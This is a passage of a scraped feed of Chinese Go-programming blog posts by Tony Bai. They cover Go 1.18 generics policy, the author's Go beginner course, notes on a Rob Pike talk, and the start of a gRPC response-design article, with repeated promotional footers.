1.19+的语义。(我们预计不需要这样做！)\n我们预想到一些包的作者可能会急于采用泛型。如果您正在更新您的软件包以使用泛型，请考虑将新的泛型API隔离到自己的文件中，并为其使用Go 1.18的构建标签（//go:build go1.18），以便Go 1.17用户可以继续构建和使用非泛型部分。\n同样值得注意的是，第三方工具可能不会在Go 1.18发布时完全支持泛型。我们正在与许多工具的作者交谈，并试图确保他们得到适当的更新，但各个工具都有自己的时间表。\n我们收到的一个常见的问题是：考虑到所有这些不确定性，为什么不把泛型变成可选项加入Go 1.18？答案是，在这一点上，减少不确定性的唯一方法是让其默认可用。当我们在Go 1.5版本中让vendor机制作为可选项加入时，发生的情况是几乎没有人真正使用它，直到Go 1.6版本默认开启它。所以Go 1.5版本没有减少我们对Go开发者使用vendor情况的不确定性。另一方面，Go 1.5版本无疑将生态系统分为”在标准Go下运行的代码”和 “在启用vendoring后运行的代码”两个部分。我们希望在这里尽可能地避免这种结果。\n这里每个人可以做的最重要的事情就是写一些泛型代码，如果你发现了bug，不清楚的编译器错误等等，请让我们知道。我最近写了一些泛型数据结构，对整体的体验非常满意。我希望你也会这样；如果没有，请提交bug。谢谢!\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/10/28/expectations-for-generics-in-go-1-18/","summary":"\u003cp\u003e\u003cimg alt=\"img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/expectations-for-generics-in-go-1.18-1.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/10/28/expectations-for-generics-in-go-1.18\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/10/28/expectations-for-generics-in-go-1.18\"\u003ehttps://tonybai.com/2021/10/28/expectations-for-generics-in-go-1.18\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2021年10月中旬，\u003ca href=\"https://mp.weixin.qq.com/s/rxzMQPgwLF2CLzyIKuTMMg\"\u003eGo语言之父Rob Pike\u003c/a\u003e在github上的Go项目中发了一条issue：\u003ca href=\"https://github.com/golang/go/issues/48918\"\u003e建议不在Go 1.18的标准库中使用泛型\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e不得不说“姜还是老的辣”！Rob Pike的理由很简单，\u003ca href=\"https://tonybai.com/2021/04/07/go-generics-use-type-sets-to-remove-type-keyword/\"\u003eGo泛型\u003c/a\u003e是Go诞生以来最大的一次语言变化，Go 1.18版本承载了太多的change，容易出错。并且Go核心开发团队也没有使用新泛型的经验，他建议Go核心开发团队应该多等待、观察和学习。我是十分赞同Rob Pike的建议的，不要把步子迈得太大。Go应该按照自己的节奏稳步前进。\u003c/p\u003e","title":"Go 1.18对泛型的支持策略"},{"content":"\n本文永久链接 – https://tonybai.com/2021/10/25/the-things-behind-the-first-lesson-of-go-language\n《Go语言第一课》正式上线一周多了，从编辑和运营老师那边反馈，成绩似乎还不错，感谢大家的捧场！今天和大家说说专栏《Go语言第一课》背后的那些事儿。\n年初策划：Gopher的《C++ Primer》 学过C++的童鞋想必都听说过或是读过《C++ Primer》这本书。\nC++ Primer\n从Primer这个单词所具有的“启蒙”的含义我们也可以知道，这是一门面向C++入门程序员的基础书籍。它的作者是大名鼎鼎的Stanley B.Lippman，他曾与C++之父在贝尔实验室一起主持了C++首个编译器项目cfront的开发，也曾加盟微软担任Visual C++产品的架构师，同时他还是那本C++经典《深度探索C++对象模型》一书的作者。\n《C++ Primer》这本书是一部不折不扣的大部头儿，它的内容涵盖了C++的基础语法以及支持的多种编程范式，包括过程式的、基于对象(object-based)的、面向对象式的以及泛型编程，我手里的第三版影印版居然有1236页。但整本书讲解深入浅出，每次重读都会有新收获，是C++技术书籍领域永远的经典之一。据说明年会出版第六版。\n不管是哪种语言的程序员，想必大家都希望自己的语言有一部像《C++ Primer》这样的详实大作，作为Go开发人员的我也自然希望能有一本类似的“Go Primer”。但目前市面上包括似乎还没有哪本Go技术书籍的定位与《C++ Primer》相似，Go语言圣经《The Go Programming Language》一书的地位更接近于《The C++ Programming Language》。\n之前与慕课网合作了Go进阶专栏《改善Go语言编程质量的50个有效实践》，与机械工业出版社合作的更为系统的面向Go编程进阶的书籍也在后期制作中（据编辑老师反馈，应该年底前可出版）。虽然国内市场有很多gopher有进阶的需求，但有更多的开发人员有Go入门的需求。就像专栏开篇词中提到的那样，当前国内外互联网大厂、初创小厂都广泛接纳并应用Go，很多人都纷纷投身于Go语言的学习中。\nGo语言进阶专栏\n于是在今年年初给自己做规划的时候，我就在想今天是否可以开始写出一本与《C++ Primer》定位类似，供Go入门开发者阅读的著作或开源电子书呢？也是在那时起，我就开始了《Go Primer》这本书的大纲规划。在我的最初想法中，Go Primer也必须是一部面向Go初学者的详实之作，但相较于C++这个宇宙第一复杂编程语言，Go语言要简单的多，因此大家不用担心Go Primer成书后的厚度。\n对比一下《The C++ Programming Language》和《The Go Programming Language》大家就能知道大致厚度比例了^_^。\ntcpl与tgpl两本书的厚度对比\n一拍即合：从《Go Primer》到专栏《Go语言第一课》 4月末，极客时间的郭蕾总编在微信上联系我，和我说了从极客时间平台观察到的如今国内Go语言的发展趋势：\n就目前我们的观察来看，Go语言正在加速向企业渗透，越来越多的企业开始用Go。 就目前我们的观察来看，越来越多的开发者考虑将Go语言作为第二门编程语言。 云原生已经成为趋势，而Go语言是其主要采用的语言。 字节跳动、美团、阿里、快手等头部公司正在大力推广Go。 郭总觉得国内很多人都想学Go，但是好的基础内容不多，希望能与我合作共同在极客时间平台上打造一门面向Go初学者的专栏，为国内Go语言的推广也做做贡献^_^。\n在这之前，郭总曾给过我几个“命题专栏”，都因我的不擅长而婉拒。这次郭总开门见山，直接让我写一个关于Go入门的专栏，我顿时心动。考虑到自己也正在规划Go Primer，与专栏定位相似，借助极客时间这个国内头部的IT职业教育平台，让更多人花费较少的代价就能学到经过精心编写并与编辑老师共同打磨的专栏，同时，个人IP也能借由极客时间这个平台得到放大，何乐而不为呢^_^，于是很快就和郭总达成了合作意向。\n撰写这个专栏，唯一的不足就是Go Primer这本书的计划就被延期了。\n专栏打磨：编辑老师的催稿！催稿！催稿！ 和之前慕课网稍宽松的时间不同，这次极客时间对专栏的上线时间有着较为严格的要求，错过档期可能就会错过的正在高峰期的市场。这样，从定下来合作那天起，我就开启了更忙碌的状态。每天晚上21点到24点或早晨4点到7点以及周末全天，都在看到我在书房埋头写稿的身影。\n即便如此，我几乎还是每周被编辑老师催稿！催稿！催稿！这几个月也恰逢我在工作中最忙碌的一段时间，专栏的上线时间还因此延后过一次，大纲也做了重新策划:(。\n和慕课编辑老师对专栏内容“干预”较少的风格不同，极客编辑老师全程参与大纲、开篇词与具体专栏课程内容的打磨，并且编辑老师读稿、改稿那是特别认真的。\n和纯文字版专栏不同，极客时间还多了一个讲师录音频环节，这个我也是第一次录。音频编辑老师耐心的讲解，让我逐渐入道，在录了几篇后，感觉自己的录制水平与录制效率都有不小的提升。\n学习建议：跟上了 今年读过一本名为《陪孩子走过初中三年》的书，书中女儿的初中班主任老师有一句名言：“跟上了”！作者对这句名言的解读是：学习上，她强调孩子们学习的时候不要掉队，意思是一要跟上老师的步子，上课认真听讲，课后老师留的作业要不打折扣地去完成；二也要跟上年级和班级的进度。只要能紧紧地跟上了，学习的问题就不会太大。\n这里我也将这位老师的这句名言“跟上了”作为学习我的专栏的学习建议，只要你认真听完并看完每一篇专栏，专心思考每一讲课后的思考题，多多动手实践，多多在留言区与我交流。当完成这门专栏的学习后，你不完成Go语言的入门都难^_^。\n“Go语言第一课”专栏上线后，我看到了很多学员的反馈，给我的感觉就是踊跃和积极，有些学员提出的问题非常棒，显然是认真学习认真思考后的结果。大家的这些反馈对我来说又何尝不是一种积极的鼓励呢！\n专栏刚刚上线，还有很多课的稿还在撰写中，大家的反馈会对我后面的课程内容产生积极影响，这就好比美剧制作模式，通过pilot和已播放的每一集来获得大众反馈，后面的剧情很可能因大家的反馈而得到更好的打磨与改善。\n后续：继续专心备稿，力争打造精品专栏 大家在专栏上的每一个留言我都认真阅读了，对于一些留言，我也做了细致的回答。再次感谢大家留言，希望大家继续踊跃反馈你的意见、建议与问题。\n个人能力水平有限，专栏中也难免会出现这样或那样的错误，也希望大家批评指正^_^。\n不说了，我要专心备稿了，争取把这个专栏打造成精品专栏^_^。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/10/25/the-things-behind-the-first-lesson-of-go-language/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/the-things-behind-the-scene-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/10/25/the-things-behind-the-first-lesson-of-go-language\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/10/25/the-things-behind-the-first-lesson-of-go-language\"\u003ehttps://tonybai.com/2021/10/25/the-things-behind-the-first-lesson-of-go-language\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://gk.link/a/10AVZ\"\u003e《Go语言第一课》\u003c/a\u003e正式上线一周多了，从编辑和运营老师那边反馈，成绩似乎还不错，感谢大家的捧场！今天和大家说说专栏\u003ca href=\"https://mp.weixin.qq.com/s/xg_jnbRPqaolNksNLjStRw\"\u003e《Go语言第一课》\u003c/a\u003e背后的那些事儿。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"img{512x368}\" loading=\"lazy\" src=\"http://image.tonybai.com/img/tonybai/go-first-course-banner.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"年初策划gopher的c-primer\"\u003e年初策划：Gopher的《C++ Primer》\u003c/h3\u003e\n\u003cp\u003e学过C++的童鞋想必都听说过或是读过\u003ca href=\"https://book.douban.com/subject/10505113/\"\u003e《C++ Primer》\u003c/a\u003e这本书。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/the-things-behind-the-scene-2.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003eC++ Primer\u003c/p\u003e\n\u003cp\u003e从Primer这个单词所具有的“启蒙”的含义我们也可以知道，这是一门面向C++入门程序员的基础书籍。它的作者是大名鼎鼎的\u003ca href=\"http://en.wikipedia.org/wiki/Stanley_B._Lippman\"\u003eStanley B.Lippman\u003c/a\u003e，他曾与C++之父在贝尔实验室一起主持了C++首个编译器项目\u003ca href=\"http://en.wikipedia.org/wiki/Cfront\"\u003ecfront\u003c/a\u003e的开发，也曾加盟微软担任Visual C++产品的架构师，同时他还是那本C++经典\u003ca href=\"https://book.douban.com/subject/1091086/\"\u003e《深度探索C++对象模型》\u003c/a\u003e一书的作者。\u003c/p\u003e","title":"Go语言第一课背后的那些事儿"},{"content":"本文永久链接 – https://tonybai.com/2021/10/15/your-first-go-course-by-tonybai\n没错，Tony Bai就是我。这次终于轮到我了！\n极客时间在10月13日正式上线了我的Go语言专栏：《Tony Bai·Go语言第一课》。\n现如今，越来越多的程序员因为自己或公司的需求，逐渐转成Go开发。当前国内外一线，包括 BAT 等大厂，以及初创小厂也都广泛接纳并应用Go，有的甚至已经成长为主力语言。\nGo语言能如此火爆，离不开它自身的特性：对初学者来说，门槛低且能快速上手。作为一门静态编程语言，它的入门门槛已经降低到几乎和动态语言一个水平线上了，也是业界都公认的非常简单的语言。\n另一个原因，Go是生产力与性能结合得最好的语言，现如今也被称为云基础架构语言。而且Go语言工程师的就业前景广阔，薪资也远高于平均水平，在stackoverflow 2021调查报告中可以看到：Go开发的收入在主流编程语言中名列前茅。这还仅仅是以欧美开发人员调查数据为主的数据结果。而在Go更加火爆的国内，就业“钱景”更佳！\n因此，越来越多的人投身于Go语言，但盲目的“一头热”会让你多走不少弯路，举几个最常见的问题：\n缺乏认真的评估，从“入门”到“放弃”，平白浪费自己的精力； 不会动手甚至不敢动手，学习只是“纸上谈兵”； 用其他语言的思维学Go，最后“捡了芝麻，丢了西瓜”； 缺乏设计意识，永远停在“hello, world”的世界里。 其实，想学好Go语言的一个最大前提是要能坚持，其次就是基础知识的牢靠掌握，就好比一座在建的大厦，只有地基坚实、稳固，大厦才可能迎来建成并耸立云霄的那天。\n这里分享一个我收藏的简易版「Go入门路线图」，其中包括“心定、手勤、脑勤”三个诀窍与“前置、入门、基础、核心、实战”五个阶段：\n我是国内最早接触Go的那批人，从很早开始，我就在这个个人博客上撰写了大量Go相关的文章，在各大Go社区里引起了不少的讨论，想必大家也是那会儿经常看到我的文章才知道我的。\n今年，我花了几个月的工作之余的时间将我个人十多年的Go学习与开发经验进行了整合与梳理，集中在了《Tony Bai·Go语言第一课》这门专栏中，课程刚刚上线，还有早鸟优惠，推荐给缺乏入门经验的各位。\n在专栏中，我总结了一条完整的Go语言入门路径，并提供保姆级的基础语法教学，超适合初学者的入门和落地；另外，他还专门结合了4个实战小项目，以及一些常见的坑点以及避坑指南，也为正在使用Go语言的开发者，提供了查缺补漏和夯实基础的机会。\n课程整体分为五个阶段，我希望通过上述的“三个诀窍与五个阶段”，辅助你顺利踏上对 Go 语言的探索之路，同时能早日成为优秀的 Go 开发。\n值得一提的是，区别于市面上各种陈旧的资料，这门课很“新”，90%以上内容都默认使用Go最新的稳定发布版来讲解。具体内容如下：\n第一个阶段：前置篇，“心定”建立认同感。带你了解 Go 的前世今生和设计哲学，建立你对 Go 语言全方位的认同感，包括设计目标、设计哲学、演化思路，还有社区行为规范等等。 第二个阶段：入门篇，“手勤”多动手实践。告诉你不同平台上安装各种Go版本的方法，以及程序的语法元素和结构。编程不是“纸上谈兵”，最终是要将编写完的源码提交给计算机编译运行的，所以希望你能多动手、多实践。 第三个阶段：基础篇，“脑勤”多理解，夯实基础。这部分他会围绕着“程序=数据+算法”的逻辑，从基本概念到数据类型，再到广义的算法，让你用 Go 建立对现实世界的抽象认知，搞懂程序运行的基本逻辑。在基础篇的结尾，我会结合已学习的基础语法做一个小练习项目，毕竟实践与理论的结合才能达到更好的效果。 第四个阶段：核心篇，“脑勤+”建立自己的 Go 应用设计意识。这部分我为你介绍 Go 语言独有或经过较大创新的接口类型与 goroutine 等并发原语类型，这些语法元素是 Go 语言的核心，树立你自己的应用“设计意识”。 第五个阶段：实战篇，攻克 Go 开发的“最后一公里”。编程就是要做到学以致用。在掌握了 Go 语言的基础语法、核心语法并建立起自己的“设计意识”后，便可以应用这些 Go 语言的特性来解决实际问题了。 在这部分中，我会通过一个实战的例子，展示如何做好学习与使用之间的衔接，帮助你走完“使用 Go 进行生产级开发”这“最后一公里”。\n更具体的目录，我也放在了这里，可以看一下：\nGo简单却不失表达力，它的高性能也让其兼具高生产力与战斗力。那你为什么不加入我们，来即刻体会Go的编码快乐和个人“钱”景的提升呢！\n现在订阅，有什么福利？\n早鸟+口令「tonybaiGo」立省 ¥40\n原价 ¥129，口令仅「前 50 人」有效\n以上内容基于极客时间编辑老师的推广文章改造而成，后续我还会找时间撰文谈谈“Go语言第一课背后的那些事儿”，敬请期待！\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/10/15/your-first-go-course-by-tonybai/","summary":"\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/10/15/your-first-go-course-by-tonybai\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/10/15/your-first-go-course-by-tonybai\"\u003ehttps://tonybai.com/2021/10/15/your-first-go-course-by-tonybai\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e没错，Tony Bai就是我。这次终于轮到我了！\u003c/p\u003e\n\u003cp\u003e极客时间在10月13日正式上线了我的Go语言专栏：\u003ca href=\"http://gk.link/a/10AVZ\"\u003e《Tony Bai·Go语言第一课》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-first-course/banner.png\"\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e现如今，越来越多的程序员因为自己或公司的需求，逐渐转成Go开发。当前国内外一线，包括 BAT 等大厂，以及初创小厂也都广泛接纳并应用Go，有的甚至已经成长为主力语言。\u003c/p\u003e","title":"Tony Bai带你入门Go语言"},{"content":"本文永久链接 – https://tonybai.com/2021/10/06/the-go-programming-language-and-environment\n2021年中旬，Go语言联合创始人Rob Pike应邀在线出席由UNSW Computing(悉尼新南威尔士大学计算机)组织主办的John Lions Distinguished Lectures，会上Rob Pike以Go之父身份讲述了究竟是什么将Go语言塑造成今天的这个样子以及进入Go生态系统的其他一些事物。\nRob Pike关于Go的观点总是高屋建瓴的，从这个talk中我们可以了解Go语言演化的来龙去脉，这对于我们理解Go、理解Go演化方向、理解Go生态会有较大帮助。由于仅有视频资料，这里将视频中的slide截图按顺序贴在这里，并配以slide中没有但talk中有的一些rob pike的重要观点，供大家参考。\nRob Pike：\n(谦虚的说)Go还不能算是主流语言，但Go在全世界范围的影响力与发展远超当初预期。 我们知道：在众多编程语言中，Go可能不是那种interesting的语言。在当时，Go甚至不是一种有技术优势的语言。我们并没有试图推动编程语言理论或设计甚至实践的进步。我们对此并不介意，因为这不是我们的目标。 不知何故，这种语言已经成功地接管了云世界。它是主导docker、kubernetes以及基本上云原生计算基金会中的所有东西的开发语言，当然也包括这之外的其他很多项目。 多年前，有人预测Go是云计算基础设施语言，但现在这已经成为现实。 那么问题来了：一种本质上无人喜欢的语言是如何最终变得如此重要了呢？究竟发生了什么？\nRob Pike给出答案：\n一门编程语言的成功取决于很多东西，而不仅仅是语言本身。 Go团队从一开始就知道这一点，于是他们不再局限于创造一门新编程语言，而是将目标定为创造一种编写软件的更好的方法上。因此这门新编程语言将被用于处理当时所用语言所解决不了的诸多问题：包括上面slide中列举的诸多问题。 虽然编程语言本身可以解决上面的一些问题，但仅语言本身还远不够。 Rob Pike：\n我们遇到的一个最大的问题就是scale，并且scale拥有多个维度(数轴axes)，包括concurrency、engineering、dependencies。 Rob Pike：\n- 这就是我们几个第一次碰面设计一门新编程语言时讨论的话题。\nRob Pike：\n- 这就是Go实现的一个生产就绪的Web server的代码。\n- 下面探讨fmt.Fprintf的第一个参数的类型，它很特殊，它是一个io.Writer接口类型。\nRob Pike：\n- Go代码中充满了这种仅有一两个方法甚至是零个方法的接口类型，这些构成了Go文化之一。\n- 我们相信，接口不应该为你所构建的整个世界预先定义，而应该在程序开发过程中有机地产生。让编译器解决一个接口是否好的问题，实际上是比强迫程序员优先解决这些问题更有效的进行软件演化的方式。(because we believe that interfaces should not be predefined for the entire world you are building. but instead should arise organically through program development. and having the compiler work out whether an interface is good or not is an actually more effective way to grow software than forcing the programmers to work it all out a priori)。\nRob Pike：\n- 不同于其他编程语言，这些整型不能混合在一起运算(译注：需显式转型)。\nRob Pike：\n我们的想法是，从概念上讲，处理并行性和并发性的开销在Go中是非常轻的。这是该语言的一个重要卖点。 Rob Pike：\n一旦你把channel/select这些和goroutines结合起来，你就可以完全简单地、正交地把它们放在过程语言(procedure language)之上。并使并发变得简单，让那些以前我承认有时害怕它的人可以使用。 Rob Pike：\n我们做了很多努力来建立一套非常好的核心库，允许你做一些事情，如网络、密码学、文本处理、格式化的IO，我们建立了一套核心库，建立在这些简单的接口的想法上，并使用这些接口和其他我们可以使用的机制，如并发性和内存安全属性等等。我们建立了基础库，这样你就可以写一个程序，只使用核心库，这将起到有效的作用，它也可以在生产中启动，并能够处理成千上万并发进行的负载。我们已经看到运行在内部启动的数百万个goroutine的二进制文件，因为它们是轻量级的，它们可以扩展。 Rob Pike：\n也许Go的成功最重要的部分是这种兼容性承诺(Go1兼容性承诺)。 更重要的是，我们向用户承诺，如果你的代码今天能用，十年后也能用，而且确实如此。这种对用户社区的承诺是Go应用的一个巨大特点。实际上，在曲线上有一个膝盖型突起，你可以看到采用率的上升，工业界现在可以开始依赖它，因为他们知道，如果他们投资于它，它就会工作。书的作者也可以写书，他们知道十年后书中内容仍然有意义，这是我们故事的一个主要部分。 Rob Pike：\n因此，所有这些元素都有一个主题，这个主题就是，如果你想发展一种语言或一个系统，特别是在开源世界中，你必须让别人容易进来。这并不仅仅意味着接受每一个他人提出的pull request，这更意味着创建一个系统，在这个系统中，大家可以很容易使用一种语言，比如：易于解析，易于用支持它的工具进行分析。可以单独工作的库，但被设计成可以相互协作以建立更大的系统。用于高质量工具开发的包，易于理解的开发，高速执行，简单的部署，易于移植。一个模块系统让每个人都能舒适地分享他们的代码，也包括一种鼓励人们共同成长的文化。 Rob Pike：\n我们已经建立起这个社区，在社区中大家一起构建了一个软件开发环境并且乐趣多多，这个环境不仅是由语言所培育的，更多是因为上面这些更为重要的因素。 Rob Pike：\nGo是关于软件开发的。它不仅仅是关于编程。我认为这就是为什么它能做得那么好的原因。 泛型会不会改变编写Go代码的方式？ Rob Pike：\n我们没有从一开始就把它们放进去，因为我们不明白我们怎么会对它感到不舒服，所以不是我们决定不放它们，而是我们不确定如果我们从一个具有参数化多态性的语言开始，如何在所有这些其他方面实现我们想实现的目标。\n我相信这仍然是事实。\n我相信关于库的工作方式和互连的工作方式等等的很多事情都会有非常不同的味道。 如果它是一种多态的语言，我不确定它会有多好。\n经过Ian Taylor等人十多年的努力，我们现在有了一个设计，我想说的是，我们不是真正的我，但团队有了一个参数化多态性模型的设计，感觉它与语言的其他部分相匹配。我很想知道它是否会打破这个局面，它可能会打破一切，因为程序员会开始考虑用这种方式写代码，我很想知道它的效果。\nRob Pike的其他观点\n我认为声明变量的方式有些多。 经过我们三人(Rob Pike, Ken Thompson, Robert)达成一致的Go特性已经足够多，足够好了。 我们很努力地寻找channel与network一起工作的方式，但我们失败了！ “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/10/06/the-go-programming-language-and-environment/","summary":"\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/10/06/the-go-programming-language-and-environment\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/10/06/the-go-programming-language-and-environment\"\u003ehttps://tonybai.com/2021/10/06/the-go-programming-language-and-environment\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/the-go-programming-language-and-environment/1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e2021年中旬，Go语言联合创始人Rob Pike应邀在线出席由UNSW Computing(悉尼新南威尔士大学计算机)组织主办的\u003ca href=\"https://www.youtube.com/channel/UCghXRiDxEojP599HKE_nRZg\"\u003eJohn Lions Distinguished Lectures\u003c/a\u003e，会上Rob Pike以Go之父身份讲述了究竟是什么将Go语言塑造成今天的这个样子以及进入Go生态系统的其他一些事物。\u003c/p\u003e","title":"Go语言之父谈Go编程语言与环境"},{"content":"\n本文永久链接 – https://tonybai.com/2021/09/26/the-design-of-the-response-for-grpc-server\n1. 服务端响应的现状 做后端服务的开发人员对错误处理总是很敏感的，因此在做服务的响应(response/reply)设计时总是会很慎重。\n如果后端服务选择的是HTTP API(rest api)，比如json over http，API响应(Response）中大多会包含如下信息：\n{ \u0026#34;code\u0026#34;: 0, \u0026#34;msg\u0026#34;: \u0026#34;ok\u0026#34;, \u0026#34;payload\u0026#34; : { ... ... } } 在这个http api的响应设计中，前两个状态标识这个请求的响应状态。这个状态由一个状态代码(code)与状态信息(msg)组成。状态信息是对状态代码所对应错误原因的详细诠释。只有当状态为正常时(code = 0)，后面的payload才具有意义。payload显然是在响应中意图传给客户端的业务信息。\n这样的服务响应设计是目前比较常用且成熟的方案，理解起来也十分容易。\n好，现在我们看看另外一大类服务：采用RPC方式提供的服务。我们还是以使用最为广泛的gRPC为例。在gRPC中，一个service的定义如下(我们借用一下grpc-go提供的helloworld示例)：\n// https://github.com/grpc/grpc-go/blob/master/examples/helloworld/helloworld/helloworld.proto package helloworld; // The greeting service definition. service Greeter { // Sends a greeting rpc SayHello (HelloRequest) returns (HelloReply) {} } // The request message containing the user\u0026#39;s name. message HelloRequest { string name = 1; } // The response message containing the greetings message HelloReply { string message = 1; } grpc对于每个rpc方法(比如SayHello)都有约束，只能有一个输入参数和一个返回值。这个.proto定义通过protoc生成的go代码变成了这样：\n// https://github.com/grpc/grpc-go/blob/master/examples/helloworld/helloworld/helloworld_grpc.pb.go type GreeterServer interface { // Sends a greeting SayHello(context.Context, *HelloRequest) (*HelloReply, error) ... ... } 我们看到对于SayHello RPC方法，protoc生成的go代码中，SayHello方法的返回值列表中多了一个Gopher们熟悉的error返回值。对于已经习惯了HTTP API那套响应设计的gopher来说，现在问题来了! http api响应中表示响应状态的code与msg究竟是定义在HelloReply这个业务响应数据中，还是通过error来返回的呢？这个grpc官方文档似乎也没有明确说明（如果各位看官找到位置，可以告诉我哦）。\n2. gRPC服务端响应设计思路 我们先不急着下结论！我们继续借用helloworld这个示例程序来测试一下当error返回值不为nil时客户端的反应！先改一下greeter_server的代码：\n// SayHello implements helloworld.GreeterServer func (s *server) SayHello(ctx context.Context, in *pb.HelloRequest) (*pb.HelloReply, error) { log.Printf(\u0026#34;Received: %v\u0026#34;, in.GetName()) return \u0026amp;pb.HelloReply{Message: \u0026#34;Hello 